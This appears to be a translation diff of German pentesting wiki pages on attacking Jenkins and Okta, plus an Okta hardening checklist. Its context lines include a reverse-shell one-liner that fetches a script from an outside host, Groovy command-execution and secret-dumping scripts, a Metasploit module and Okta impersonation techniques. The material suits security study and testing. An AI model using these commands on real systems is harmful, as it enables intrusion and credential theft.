+Laut [**den Docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Anmeldeinformationen, die im Geltungsbereich sind, stehen der Pipeline ohne Einschränkungen zur Verfügung. Um **versehentliche Offenlegung im Build-Protokoll** zu verhindern, werden Anmeldeinformationen **maskiert** und sind nicht im regulären Output sichtbar, sodass ein Aufruf von `env` (Linux) oder `set` (Windows) oder Programme, die ihre Umgebung oder Parameter drucken, **sie im Build-Protokoll nicht offenbaren** für Benutzer, die ansonsten keinen Zugriff auf die Anmeldeinformationen hätten.

 **Deshalb muss ein Angreifer, um die Anmeldeinformationen zu exfiltrieren, sie beispielsweise base64 kodieren.**

@@ -4,12 +4,12 @@

 In diesem Blogbeitrag ist es möglich, einen großartigen Weg zu finden, um eine Local File Inclusion-Sicherheitsanfälligkeit in Jenkins in RCE zu verwandeln: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)

-Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem das Erstellen eines willkürlichen Cookies missbraucht wird, um RCE zu erhalten, indem eine lokale Datei gelesen wird, bis ich Zeit habe, eine eigene Zusammenfassung zu erstellen:
+Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem das Erstellen eines beliebigen Cookies ausgenutzt wird, um RCE zu erhalten, indem eine lokale Datei gelesen wird, bis ich Zeit habe, eine eigene Zusammenfassung zu erstellen:

 ### Angriffsvoraussetzungen

 - **Funktionsanforderung:** "Remember me" muss aktiviert sein (Standardeinstellung).
- **Zugriffslevel:** Angreifer benötigt Gesamt-/Leseberechtigungen.
+- **Zugriffslevel:** Angreifer benötigt Gesamt-/Lese-Berechtigungen.
 - **Geheimer Zugriff:** Fähigkeit, sowohl binäre als auch textuelle Inhalte aus wichtigen Dateien zu lesen.

 ### Detaillierter Ausbeutungsprozess
@@ -18,7 +18,7 @@ Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem da

 **Benutzerinformationsabruf**

- Greifen Sie auf die Benutzerkonfiguration und Geheimnisse aus `$JENKINS_HOME/users/*.xml` für jeden Benutzer zu, um Folgendes zu sammeln:
+- Greifen Sie auf die Benutzerkonfiguration und Geheimnisse von `$JENKINS_HOME/users/*.xml` für jeden Benutzer zu, um Folgendes zu sammeln:
 - **Benutzername**
 - **Benutzersamen**
 - **Zeitstempel**
@@ -65,7 +65,7 @@ macKey = decrypted.withoutSuffix("::::MAGIC::::")

 ```javascript
 mac = HmacSHA256(token, macKey) // Berechnen Sie HMAC mit dem Token und dem MAC-Schlüssel
-tokenSignature = bytesToHexString(mac) // Konvertieren Sie das MAC in einen hexadezimalen String
+tokenSignature = bytesToHexString(mac) // Konvertieren Sie das MAC in eine hexadezimale Zeichenfolge
 ```

 **Cookie-Codierung**
@@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \

 - Das Groovy-Skript kann verwendet werden, um systemweite Befehle oder andere Operationen innerhalb der Jenkins-Umgebung auszuführen.

-Der bereitgestellte Beispiel-curl-Befehl zeigt, wie man eine Anfrage an Jenkins mit den erforderlichen Headern und Cookies sendet, um willkürlichen Code sicher auszuführen.
+Der bereitgestellte Beispiel-curl-Befehl zeigt, wie man eine Anfrage an Jenkins mit den erforderlichen Headern und Cookies sendet, um beliebigen Code sicher auszuführen.

 {{#include ../../banners/hacktricks-training.md}}
@@ -5,7 +5,7 @@
 > [!WARNING]
 > Beachten Sie, dass diese Skripte nur die Geheimnisse in der `credentials.xml`-Datei auflisten, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten.

-Sie können **alle Geheimnisse aus der Groovy-Skript-Konsole** in `/script` dumpen, indem Sie diesen Code ausführen.
+Sie können **alle Geheimnisse aus der Groovy-Skript-Konsole** in `/script` mit diesem Code ausgeben
 ```java
 // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
 import jenkins.model.*
@@ -26,11 +26,11 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
 }
 }
 ```
-Schließlich klicken Sie auf **Speichern** und **Jetzt bauen**, und die Pipeline wird ausgeführt:
+Klicken Sie schließlich auf **Speichern** und **Jetzt bauen**, und die Pipeline wird ausgeführt:

 ![](<../../images/image (228).png>)

-## Ändern einer Pipeline
+## Eine Pipeline ändern

 Wenn Sie auf die Konfigurationsdatei einer konfigurierten Pipeline zugreifen können, könnten Sie sie einfach **ändern, indem Sie Ihre Reverse-Shell anhängen** und sie dann ausführen oder warten, bis sie ausgeführt wird.

@@ -1,30 +1,30 @@
-# Jenkins RCE Creating/Modifying Project
+# Jenkins RCE Erstellen/Ändern eines Projekts

 {{#include ../../banners/hacktricks-training.md}}

-## Creating a Project
+## Erstellen eines Projekts

 Diese Methode ist sehr laut, da Sie ein ganz neues Projekt erstellen müssen (offensichtlich funktioniert dies nur, wenn der Benutzer berechtigt ist, ein neues Projekt zu erstellen).

 1. **Erstellen Sie ein neues Projekt** (Freestyle-Projekt), indem Sie auf "Neues Element" klicken oder in `/view/all/newJob`
-2. Im Abschnitt **Build** setzen Sie **Shell ausführen** und fügen Sie einen PowerShell Empire-Launcher oder eine Meterpreter-PowerShell ein (kann mit _unicorn_ erhalten werden). Starten Sie die Payload mit _PowerShell.exe_ anstelle von _powershell._
+2. Im Abschnitt **Build** setzen Sie **Shell ausführen** und fügen einen PowerShell Empire Launcher oder eine Meterpreter PowerShell ein (kann mit _unicorn_ erhalten werden). Starten Sie die Payload mit _PowerShell.exe_ anstelle von _powershell._
 3. Klicken Sie auf **Jetzt bauen**
-1. Wenn die Schaltfläche **Jetzt bauen** nicht erscheint, können Sie trotzdem zu **konfigurieren** --> **Build-Trigger** --> `Build regelmäßig` gehen und einen Cron von `* * * * *` festlegen.
-2. Anstelle von Cron können Sie die Konfiguration "**Bauten remote auslösen**" verwenden, bei der Sie nur den API-Token-Namen festlegen müssen, um den Job auszulösen. Gehen Sie dann zu Ihrem Benutzerprofil und **generieren Sie einen API-Token** (nennen Sie diesen API-Token so, wie Sie den API-Token genannt haben, um den Job auszulösen). Schließlich lösen Sie den Job mit aus: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
+1. Wenn die Schaltfläche **Jetzt bauen** nicht erscheint, können Sie trotzdem zu **konfigurieren** --> **Build-Auslöser** --> `Build regelmäßig` gehen und einen Cron von `* * * * *` festlegen.
+2. Anstelle von Cron können Sie die Konfiguration "**Bauten remote auslösen**" verwenden, bei der Sie nur den API-Token-Namen festlegen müssen, um den Job auszulösen. Gehen Sie dann zu Ihrem Benutzerprofil und **generieren Sie einen API-Token** (nennen Sie diesen API-Token so, wie Sie den API-Token genannt haben, um den Job auszulösen). Schließlich lösen Sie den Job mit folgendem Befehl aus: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**

 ![](<../../images/image (165).png>)

-## Modifying a Project
+## Ändern eines Projekts

-Gehen Sie zu den Projekten und überprüfen Sie **ob Sie eines von ihnen konfigurieren können** (suchen Sie nach der Schaltfläche "Konfigurieren"):
+Gehen Sie zu den Projekten und überprüfen Sie **ob Sie eines von ihnen konfigurieren können** (suchen Sie nach der "Konfigurieren"-Schaltfläche):

 ![](<../../images/image (265).png>)

-Wenn Sie **keine** **Konfigurations** **schaltfläche** sehen können, dann **können Sie es wahrscheinlich nicht** **konfigurieren** (aber überprüfen Sie alle Projekte, da Sie möglicherweise einige von ihnen und nicht andere konfigurieren können).
+Wenn Sie **keine** **Konfigurations** **schaltfläche** sehen können, dann **können Sie es wahrscheinlich nicht konfigurieren** (aber überprüfen Sie alle Projekte, da Sie möglicherweise einige von ihnen und nicht andere konfigurieren können).

 Oder **versuchen Sie, auf den Pfad** `/job/<proj-name>/configure` oder `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in jedem Projekt zuzugreifen (Beispiel: `/job/Project0/configure` oder `/me/my-views/view/all/job/Project0/configure`).

-## Execution
+## Ausführung

 Wenn Sie berechtigt sind, das Projekt zu konfigurieren, können Sie **es so einstellen, dass es Befehle ausführt, wenn ein Build erfolgreich ist**:

@@ -4,21 +4,21 @@

 ## Jenkins RCE mit Groovy-Skript

-Dies ist weniger auffällig als ein neues Projekt in Jenkins zu erstellen.
+Dies ist weniger auffällig als die Erstellung eines neuen Projekts in Jenkins.

 1. Gehe zu _path_jenkins/script_
-2. Füge im Textfeld das Skript ein
+2. Füge das Skript in das Textfeld ein.
 ```python
 def process = "PowerShell.exe <WHATEVER>".execute()
 println "Found text ${process.text}"
 ```
-Du könntest einen Befehl ausführen mit: `cmd.exe /c dir`
+Sie können einen Befehl ausführen mit: `cmd.exe /c dir`

-In **linux** kannst du: **`"ls /".execute().text`**
+In **linux** können Sie: **`"ls /".execute().text`**

-Wenn du _Anführungszeichen_ und _einzelne Anführungszeichen_ im Text verwenden musst, kannst du _"""PAYLOAD"""_ (dreifache doppelte Anführungszeichen) verwenden, um die Payload auszuführen.
+Wenn Sie _Anführungszeichen_ und _einzelne Anführungszeichen_ im Text verwenden müssen, können Sie _"""PAYLOAD"""_ (dreifache doppelte Anführungszeichen) verwenden, um die Nutzlast auszuführen.

-**Ein weiteres nützliches groovy-Skript** ist (ersetze \[INSERT COMMAND]):
+**Ein weiteres nützliches groovy-Skript** ist (ersetzen Sie \[INSERT COMMAND]):
 ```python
 def sout = new StringBuffer(), serr = new StringBuffer()
 def proc = '[INSERT COMMAND]'.execute()
@@ -46,7 +46,7 @@ cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

 Sie können diesen Prozess mit [**diesem Skript**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) automatisieren.

-Sie können MSF verwenden, um eine umgekehrte Shell zu erhalten:
+Sie können MSF verwenden, um eine Reverse-Shell zu erhalten:
 ```
 msf> use exploit/multi/http/jenkins_script_console
 ```
@@ -4,7 +4,7 @@

 ## Grundinformationen

-[Okta, Inc.](https://www.okta.com/) ist im Bereich Identitäts- und Zugriffsmanagement für seine cloudbasierten Softwarelösungen anerkannt. Diese Lösungen sind darauf ausgelegt, die Benutzerauthentifizierung über verschiedene moderne Anwendungen zu optimieren und zu sichern. Sie richten sich nicht nur an Unternehmen, die ihre sensiblen Daten schützen möchten, sondern auch an Entwickler, die daran interessiert sind, Identitätskontrollen in Anwendungen, Webdiensten und Geräten zu integrieren.
+[Okta, Inc.](https://www.okta.com/) ist im Bereich Identitäts- und Zugriffsmanagement für seine cloudbasierten Softwarelösungen bekannt. Diese Lösungen sind darauf ausgelegt, die Benutzerauthentifizierung über verschiedene moderne Anwendungen zu optimieren und zu sichern. Sie richten sich nicht nur an Unternehmen, die ihre sensiblen Daten schützen möchten, sondern auch an Entwickler, die Identitätskontrollen in Anwendungen, Webdienste und Geräte integrieren möchten.

 Das Flaggschiff-Angebot von Okta ist die **Okta Identity Cloud**. Diese Plattform umfasst eine Suite von Produkten, darunter, aber nicht beschränkt auf:

@@ -24,11 +24,11 @@ Diese Dienste zielen darauf ab, den Datenschutz zu stärken und den Benutzerzuga

 ### Zusammenfassung

-Es gibt **Benutzer** (die in **Okta gespeichert,** von konfigurierten **Identitätsanbietern** angemeldet oder über **Active Directory** oder LDAP authentifiziert werden können).\
+Es gibt **Benutzer** (die in **Okta gespeichert**, von konfigurierten **Identitätsanbietern** angemeldet oder über **Active Directory** oder LDAP authentifiziert werden können).\
 Diese Benutzer können in **Gruppen** sein.\
 Es gibt auch **Authentifizierer**: verschiedene Optionen zur Authentifizierung wie Passwort und mehrere 2FA wie WebAuthn, E-Mail, Telefon, Okta Verify (sie könnten aktiviert oder deaktiviert sein)...

-Dann gibt es **Anwendungen**, die mit Okta synchronisiert sind. Jede Anwendung hat eine **Zuordnung zu Okta**, um Informationen (wie E-Mail-Adressen, Vornamen...) auszutauschen. Darüber hinaus muss jede Anwendung in einer **Authentifizierungsrichtlinie** enthalten sein, die die **benötigten Authentifizierer** angibt, damit ein Benutzer auf die Anwendung **zugreifen** kann.
+Dann gibt es **Anwendungen**, die mit Okta synchronisiert sind. Jede Anwendung hat eine **Zuordnung zu Okta**, um Informationen (wie E-Mail-Adressen, Vornamen usw.) auszutauschen. Darüber hinaus muss jede Anwendung in einer **Authentifizierungsrichtlinie** enthalten sein, die die **benötigten Authentifizierer** angibt, damit ein Benutzer auf die Anwendung **zugreifen** kann.

 > [!CAUTION]
 > Die mächtigste Rolle ist **Super Administrator**.
@@ -43,21 +43,21 @@ In der Regel befindet sich das Portal eines Unternehmens unter **companyname.okt

 ### Anmeldung in Okta über Kerberos

-Wenn **`companyname.kerberos.okta.com`** aktiv ist, wird **Kerberos für den Okta-Zugriff verwendet**, was typischerweise die **MFA** für **Windows**-Benutzer umgeht. Um Kerberos-authentifizierte Okta-Benutzer in AD zu finden, führen Sie **`getST.py`** mit **entsprechenden Parametern** aus. Nach Erhalt eines **AD-Benutzertickets** **injizieren** Sie es in einen kontrollierten Host mit Tools wie Rubeus oder Mimikatz und stellen sicher, dass **`clientname.kerberos.okta.com` in der Internetoptionen "Intranet"-Zone** ist. Der Zugriff auf eine bestimmte URL sollte eine JSON "OK"-Antwort zurückgeben, die die Akzeptanz des Kerberos-Tickets anzeigt und den Zugriff auf das Okta-Dashboard gewährt.
+Wenn **`companyname.kerberos.okta.com`** aktiv ist, wird **Kerberos für den Okta-Zugriff verwendet**, was typischerweise die **MFA** für **Windows**-Benutzer umgeht. Um Kerberos-authentifizierte Okta-Benutzer in AD zu finden, führen Sie **`getST.py`** mit **den entsprechenden Parametern** aus. Nach Erhalt eines **AD-Benutzertickets** **injizieren** Sie es in einen kontrollierten Host mit Tools wie Rubeus oder Mimikatz und stellen sicher, dass **`clientname.kerberos.okta.com` in der Internetoptionen "Intranet"-Zone** ist. Der Zugriff auf eine bestimmte URL sollte eine JSON "OK"-Antwort zurückgeben, die die Akzeptanz des Kerberos-Tickets anzeigt und den Zugriff auf das Okta-Dashboard gewährt.

-Die Kompromittierung des **Okta-Dienstkontos mit dem Delegations-SPN ermöglicht einen Silver Ticket-Angriff.** Allerdings erfordert Okta die Verwendung von **AES** zur Ticketverschlüsselung, was den Besitz des AES-Schlüssels oder des Klartextpassworts erfordert. Verwenden Sie **`ticketer.py`, um ein Ticket für den betroffenen Benutzer zu generieren** und es über den Browser zu übermitteln, um sich bei Okta zu authentifizieren.
+Die Kompromittierung des **Okta-Dienstkontos mit dem Delegations-SPN ermöglicht einen Silver Ticket-Angriff.** Allerdings erfordert Okta's Verwendung von **AES** zur Ticketverschlüsselung den Besitz des AES-Schlüssels oder des Klartextpassworts. Verwenden Sie **`ticketer.py`, um ein Ticket für den betroffenen Benutzer zu generieren** und es über den Browser zu übermitteln, um sich bei Okta zu authentifizieren.

 **Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**

-### Hijacking des Okta AD-Agenten
+### Hijacking Okta AD-Agent

-Diese Technik umfasst **den Zugriff auf den Okta AD-Agenten auf einem Server**, der **Benutzer synchronisiert und die Authentifizierung verwaltet**. Durch die Untersuchung und Entschlüsselung von Konfigurationen in **`OktaAgentService.exe.config`**, insbesondere des AgentTokens mit **DPAPI**, kann ein Angreifer potenziell **Authentifizierungsdaten abfangen und manipulieren**. Dies ermöglicht nicht nur **Überwachung** und **Erfassung von Benutzeranmeldeinformationen** im Klartext während des Okta-Authentifizierungsprozesses, sondern auch **Reaktionen auf Authentifizierungsversuche**, wodurch unbefugter Zugriff ermöglicht oder eine universelle Authentifizierung über Okta bereitgestellt wird (ähnlich einem 'Skeleton Key').
+Diese Technik beinhaltet **den Zugriff auf den Okta AD-Agent auf einem Server**, der **Benutzer synchronisiert und die Authentifizierung verwaltet**. Durch die Untersuchung und Entschlüsselung von Konfigurationen in **`OktaAgentService.exe.config`**, insbesondere des AgentTokens mit **DPAPI**, kann ein Angreifer potenziell **Authentifizierungsdaten abfangen und manipulieren**. Dies ermöglicht nicht nur **Überwachung** und **Erfassung von Benutzeranmeldeinformationen** im Klartext während des Okta-Authentifizierungsprozesses, sondern auch **Reaktionen auf Authentifizierungsversuche**, wodurch unbefugter Zugriff ermöglicht oder eine universelle Authentifizierung über Okta bereitgestellt wird (ähnlich einem 'Skeleton Key').

 **Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**

-### Hijacking von AD als Administrator
+### Hijacking AD als Administrator

-Diese Technik umfasst das Hijacking eines Okta AD-Agenten, indem zuerst ein OAuth-Code erlangt und dann ein API-Token angefordert wird. Das Token ist mit einer AD-Domäne verknüpft, und ein **Connector wird benannt, um einen gefälschten AD-Agenten zu erstellen**. Die Initialisierung ermöglicht es dem Agenten, **Authentifizierungsversuche zu verarbeiten**, wobei Anmeldeinformationen über die Okta-API erfasst werden. Automatisierungstools sind verfügbar, um diesen Prozess zu optimieren und eine nahtlose Methode zum Abfangen und Verarbeiten von Authentifizierungsdaten innerhalb der Okta-Umgebung anzubieten.
+Diese Technik beinhaltet das Hijacking eines Okta AD-Agenten, indem zuerst ein OAuth-Code erlangt und dann ein API-Token angefordert wird. Das Token ist mit einer AD-Domäne verknüpft, und ein **Connector wird benannt, um einen gefälschten AD-Agenten zu erstellen**. Die Initialisierung ermöglicht es dem Agenten, **Authentifizierungsversuche zu verarbeiten**, wobei Anmeldeinformationen über die Okta-API erfasst werden. Automatisierungstools sind verfügbar, um diesen Prozess zu optimieren und eine nahtlose Methode zum Abfangen und Verarbeiten von Authentifizierungsdaten innerhalb der Okta-Umgebung anzubieten.

 **Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**

@@ -65,7 +65,7 @@ Diese Technik umfasst das Hijacking eines Okta AD-Agenten, indem zuerst ein OAut

 **Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**

-Die Technik umfasst **die Bereitstellung eines gefälschten SAML-Anbieters**. Durch die Integration eines externen Identitätsanbieters (IdP) innerhalb des Okta-Rahmens mit einem privilegierten Konto können Angreifer **den IdP kontrollieren und jede Authentifizierungsanfrage nach Belieben genehmigen**. Der Prozess umfasst die Einrichtung eines SAML 2.0 IdP in Okta, die Manipulation der IdP Single Sign-On-URL zur Umleitung über die lokale Hosts-Datei, die Erstellung eines selbstsignierten Zertifikats und die Konfiguration der Okta-Einstellungen, um mit dem Benutzernamen oder der E-Mail übereinzustimmen. Das erfolgreiche Ausführen dieser Schritte ermöglicht die Authentifizierung als jeder Okta-Benutzer, wodurch die Notwendigkeit individueller Benutzeranmeldeinformationen umgangen wird, was die Zugriffskontrolle erheblich erhöht und möglicherweise unbemerkt bleibt.
+Die Technik beinhaltet **die Bereitstellung eines gefälschten SAML-Anbieters**. Durch die Integration eines externen Identitätsanbieters (IdP) innerhalb des Okta-Rahmens mit einem privilegierten Konto können Angreifer **den IdP kontrollieren und jede Authentifizierungsanfrage nach Belieben genehmigen**. Der Prozess umfasst die Einrichtung eines SAML 2.0 IdP in Okta, die Manipulation der IdP Single Sign-On-URL zur Umleitung über die lokale Hosts-Datei, die Erstellung eines selbstsignierten Zertifikats und die Konfiguration der Okta-Einstellungen, um mit dem Benutzernamen oder der E-Mail übereinzustimmen. Das erfolgreiche Ausführen dieser Schritte ermöglicht die Authentifizierung als jeder Okta-Benutzer, wodurch die Notwendigkeit individueller Benutzeranmeldeinformationen umgangen wird, was die Zugriffskontrolle erheblich erhöht und möglicherweise unbemerkt bleibt.

 ### Phishing des Okta-Portals mit Evilgnix

@@ -75,7 +75,7 @@ In [**diesem Blogbeitrag**](https://medium.com/nickvangilder/okta-for-red-teamer

 Die **Attribute, die jeder Benutzer haben und ändern kann** (wie E-Mail oder Vorname) können in Okta konfiguriert werden. Wenn eine **Anwendung** ein **Attribut**, das der Benutzer **ändern kann**, als ID **vertraut**, wird er in der Lage sein, **andere Benutzer auf dieser Plattform zu impersonieren**.

-Wenn die App also das Feld **`userName`** vertraut, können Sie es wahrscheinlich nicht ändern (da Sie dieses Feld normalerweise nicht ändern können), aber wenn sie beispielsweise **`primaryEmail`** vertraut, könnten Sie es möglicherweise **in die E-Mail-Adresse eines Kollegen ändern** und sich als dieser ausgeben (Sie müssen Zugriff auf die E-Mail haben und die Änderung akzeptieren).
+Daher, wenn die App das Feld **`userName`** vertraut, werden Sie es wahrscheinlich nicht ändern können (da Sie dieses Feld normalerweise nicht ändern können), aber wenn es beispielsweise **`primaryEmail`** vertraut, könnten Sie in der Lage sein, **es in die E-Mail-Adresse eines Kollegen zu ändern** und ihn zu impersonieren (Sie müssen Zugriff auf die E-Mail haben und die Änderung akzeptieren).

 Beachten Sie, dass diese Impersonation davon abhängt, wie jede Anwendung konfiguriert wurde. Nur die, die dem von Ihnen geänderten Feld vertrauen und Aktualisierungen akzeptieren, werden kompromittiert.\
 Daher sollte die App dieses Feld aktiviert haben, wenn es existiert:
@@ -84,7 +84,7 @@ Daher sollte die App dieses Feld aktiviert haben, wenn es existiert:

 Ich habe auch andere Apps gesehen, die anfällig waren, aber dieses Feld nicht in den Okta-Einstellungen hatten (am Ende sind verschiedene Apps unterschiedlich konfiguriert).

-Der beste Weg herauszufinden, ob Sie sich in jeder App als jemand ausgeben könnten, wäre, es auszuprobieren!
+Der beste Weg herauszufinden, ob Sie jemanden in jeder App impersonieren könnten, wäre, es auszuprobieren!

 ## Umgehung von Verhaltensüberwachungsrichtlinien <a href="#id-9fde" id="id-9fde"></a>

@@ -100,7 +100,7 @@ Wichtige Empfehlungen umfassen:

 ## Okta-Härtung

-Okta hat viele mögliche Konfigurationen. Auf dieser Seite finden Sie, wie Sie diese überprüfen können, damit sie so sicher wie möglich sind:
+Okta hat viele mögliche Konfigurationen. Auf dieser Seite finden Sie, wie Sie diese überprüfen, damit sie so sicher wie möglich sind:

 {{#ref}}
 okta-hardening.md
@@ -1,196 +1,196 @@
-# Okta Hardening
+# Okta-Härtung

 {{#include ../../banners/hacktricks-training.md}}

-## Directory
+## Verzeichnis

-### People
+### Personen

-Aus der Perspektive eines Angreifers ist dies super interessant, da Sie **alle registrierten Benutzer**, deren **E-Mail**-Adressen, die **Gruppen**, zu denen sie gehören, **Profile** und sogar **Geräte** (Mobilgeräte zusammen mit ihren Betriebssystemen) sehen können.
+Aus der Perspektive eines Angreifers ist dies sehr interessant, da Sie **alle registrierten Benutzer**, deren **E-Mail**-Adressen, die **Gruppen**, zu denen sie gehören, **Profile** und sogar **Geräte** (Mobilgeräte zusammen mit ihren Betriebssystemen) sehen können.

 Für eine Whitebox-Überprüfung überprüfen Sie, ob es mehrere "**Ausstehende Benutzeraktionen**" und "**Passwort zurücksetzen**" gibt.

-### Groups
+### Gruppen

-Hier finden Sie alle in Okta erstellten Gruppen. Es ist interessant zu verstehen, welche verschiedenen Gruppen (Satz von **Berechtigungen**) den **Benutzern** gewährt werden könnten.\
+Hier finden Sie alle in Okta erstellten Gruppen. Es ist interessant zu verstehen, welche verschiedenen Gruppen (Satz von **Berechtigungen**) den **Benutzern** gewährt werden können.\
 Es ist möglich, die **Personen innerhalb der Gruppen** und die **Apps**, die jeder Gruppe zugewiesen sind, zu sehen.

 Natürlich ist jede Gruppe mit dem Namen **admin** interessant, insbesondere die Gruppe **Global Administrators**. Überprüfen Sie die Mitglieder, um herauszufinden, wer die privilegiertesten Mitglieder sind.

-Bei einer Whitebox-Überprüfung **sollten nicht mehr als 5 globale Administratoren** vorhanden sein (besser, wenn es nur 2 oder 3 sind).
+Bei einer Whitebox-Überprüfung **sollten nicht mehr als 5 globale Administratoren** vorhanden sein (am besten sind nur 2 oder 3).

-### Devices
+### Geräte

 Hier finden Sie eine **Liste aller Geräte** aller Benutzer. Sie können auch sehen, ob es **aktiv verwaltet** wird oder nicht.

-### Profile Editor
+### Profileditor

 Hier ist es möglich zu beobachten, wie wichtige Informationen wie Vornamen, Nachnamen, E-Mails, Benutzernamen... zwischen Okta und anderen Anwendungen geteilt werden. Dies ist interessant, da ein Benutzer, wenn er ein Feld in Okta **ändern kann** (wie seinen Namen oder seine E-Mail), das dann von einer **externen Anwendung** zur **Identifizierung** des Benutzers verwendet wird, versuchen könnte, **andere Konten zu übernehmen**.

-Darüber hinaus können Sie im Profil **`User (default)`** von Okta sehen, **welche Felder** jeder **Benutzer** hat und welche von Benutzern **beschreibbar** sind. Wenn Sie das Admin-Panel nicht sehen können, gehen Sie einfach zu **aktualisieren Sie Ihre Profil**-Informationen, und Sie werden sehen, welche Felder Sie aktualisieren können (beachten Sie, dass Sie eine E-Mail-Adresse verifizieren müssen, um sie zu aktualisieren).
+Darüber hinaus können Sie im Profil **`User (default)`** von Okta sehen, **welche Felder** jeder **Benutzer** hat und welche von Benutzern **beschreibbar** sind. Wenn Sie das Admin-Panel nicht sehen können, gehen Sie einfach zu **aktualisieren Sie Ihre Profil**-Informationen, und Sie werden sehen, welche Felder Sie aktualisieren können (beachten Sie, dass Sie zur Aktualisierung einer E-Mail-Adresse diese verifizieren müssen).

-### Directory Integrations
+### Verzeichnisintegrationen

 Verzeichnisse ermöglichen es Ihnen, Personen aus bestehenden Quellen zu importieren. Ich nehme an, hier sehen Sie die Benutzer, die aus anderen Verzeichnissen importiert wurden.

-Ich habe es nicht gesehen, aber ich nehme an, dass es interessant ist, **andere Verzeichnisse zu finden, die Okta verwendet, um Benutzer zu importieren**, sodass Sie, wenn Sie **dieses Verzeichnis kompromittieren**, einige Attributwerte in den in Okta erstellten Benutzern festlegen und **vielleicht die Okta-Umgebung kompromittieren** könnten.
+Ich habe es nicht gesehen, aber ich nehme an, es ist interessant herauszufinden, **welche anderen Verzeichnisse Okta verwendet, um Benutzer zu importieren**, sodass Sie, wenn Sie **dieses Verzeichnis kompromittieren**, einige Attributwerte in den in Okta erstellten Benutzern festlegen und **vielleicht die Okta-Umgebung kompromittieren** könnten.

-### Profile Sources
+### Profildatenquellen

-Eine Profilquelle ist eine **Anwendung, die als Quelle der Wahrheit** für Benutzerprofilattribute fungiert. Ein Benutzer kann nur von einer einzigen Anwendung oder einem Verzeichnis gleichzeitig bezogen werden.
+Eine Profildatenquelle ist eine **Anwendung, die als Quelle der Wahrheit** für Benutzerprofilattribute fungiert. Ein Benutzer kann nur von einer einzigen Anwendung oder einem Verzeichnis gleichzeitig bezogen werden.

-Ich habe es nicht gesehen, daher sind alle Informationen über Sicherheit und Hacking in Bezug auf diese Option willkommen.
+Ich habe es nicht gesehen, daher sind alle Informationen zur Sicherheit und zum Hacking bezüglich dieser Option willkommen.

-## Customizations
+## Anpassungen

-### Brands
+### Marken

 Überprüfen Sie im Tab **Domains** dieses Abschnitts die E-Mail-Adressen, die zum Versenden von E-Mails verwendet werden, und die benutzerdefinierte Domain innerhalb von Okta des Unternehmens (die Sie wahrscheinlich bereits kennen).

-Darüber hinaus können Sie im Tab **Setting**, wenn Sie Administrator sind, "**Eine benutzerdefinierte Abmeldeseite verwenden**" und eine benutzerdefinierte URL festlegen.
+Darüber hinaus können Sie im Tab **Einstellungen**, wenn Sie Administrator sind, "**Eine benutzerdefinierte Abmeldeseite verwenden**" und eine benutzerdefinierte URL festlegen.

 ### SMS

 Hier gibt es nichts Interessantes.

-### End-User Dashboard
+### Endbenutzer-Dashboard

 Hier finden Sie konfigurierte Anwendungen, aber wir werden die Details später in einem anderen Abschnitt sehen.

-### Other
+### Sonstiges

 Interessante Einstellung, aber nichts super Interessantes aus Sicht der Sicherheit.

-## Applications
+## Anwendungen

-### Applications
+### Anwendungen

 Hier finden Sie alle **konfigurierten Anwendungen** und deren Details: Wer Zugriff auf sie hat, wie sie konfiguriert sind (SAML, OpenID), URL zum Anmelden, die Zuordnungen zwischen Okta und der Anwendung...

-Im Tab **`Sign On`** gibt es auch ein Feld namens **`Password reveal`**, das es einem Benutzer ermöglichen würde, sein **Passwort** beim Überprüfen der Anwendungseinstellungen **offen zu legen**. Um die Einstellungen einer Anwendung vom Benutzerpanel aus zu überprüfen, klicken Sie auf die 3 Punkte:
+Im Tab **`Sign On`** gibt es auch ein Feld namens **`Password reveal`**, das es einem Benutzer ermöglichen würde, sein **Passwort offenzulegen**, wenn er die Anwendungseinstellungen überprüft. Um die Einstellungen einer Anwendung vom Benutzerpanel aus zu überprüfen, klicken Sie auf die 3 Punkte:

 <figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>

-Und Sie könnten einige weitere Details zur App sehen (wie die Passwort-Offenlegungsfunktion, ob sie aktiviert ist):
+Und Sie könnten einige weitere Details zur App sehen (wie die Passwortoffenlegungsfunktion, wenn sie aktiviert ist):

 <figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>

-## Identity Governance
+## Identitätsgovernance

-### Access Certifications
+### Zugriffszertifizierungen

-Verwenden Sie Access Certifications, um Auditkampagnen zu erstellen, um den Zugriff Ihrer Benutzer auf Ressourcen regelmäßig zu überprüfen und den Zugriff automatisch zu genehmigen oder zu widerrufen, wenn dies erforderlich ist.
+Verwenden Sie Zugriffszertifizierungen, um Auditkampagnen zu erstellen, um den Zugriff Ihrer Benutzer auf Ressourcen regelmäßig zu überprüfen und den Zugriff automatisch zu genehmigen oder zu widerrufen, wenn dies erforderlich ist.

 Ich habe es nicht gesehen, aber ich nehme an, dass es aus defensiver Sicht eine nette Funktion ist.

-## Security
+## Sicherheit

-### General
+### Allgemein

 - **Sicherheitsbenachrichtigungs-E-Mails**: Alle sollten aktiviert sein.
 - **CAPTCHA-Integration**: Es wird empfohlen, mindestens das unsichtbare reCaptcha einzustellen.
